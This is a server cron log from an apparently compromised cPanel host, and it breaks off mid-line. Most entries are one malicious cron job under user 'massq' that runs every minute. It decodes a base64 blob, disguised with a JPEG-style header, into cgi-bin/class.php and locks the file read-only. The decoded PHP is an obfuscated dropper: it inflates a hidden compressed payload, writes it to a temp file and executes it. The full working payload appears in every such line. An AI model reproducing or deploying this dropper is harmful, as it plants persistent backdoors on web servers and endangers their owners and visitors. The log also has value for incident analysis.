Nov 15 06:35:01 server CROND[12615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:36:01 server CROND[12928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:37:01 server CROND[13296]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:38:01 server CROND[13562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:39:02 server CROND[13815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:39:02 server CROND[13816]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 06:40:01 server CROND[14080]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 06:40:01 server CROND[14081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:40:01 server CROND[14083]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:40:01 server CROND[14082]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:41:01 server CROND[14392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:42:01 server CROND[14667]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 06:42:01 server CROND[14668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:43:01 server CROND[15075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:44:01 server CROND[15329]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:45:01 server CROND[15595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:45:01 server CROND[15596]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:45:01 server CROND[15597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:46:01 server CROND[15924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:47:01 server CROND[16179]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:48:01 server CROND[16533]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 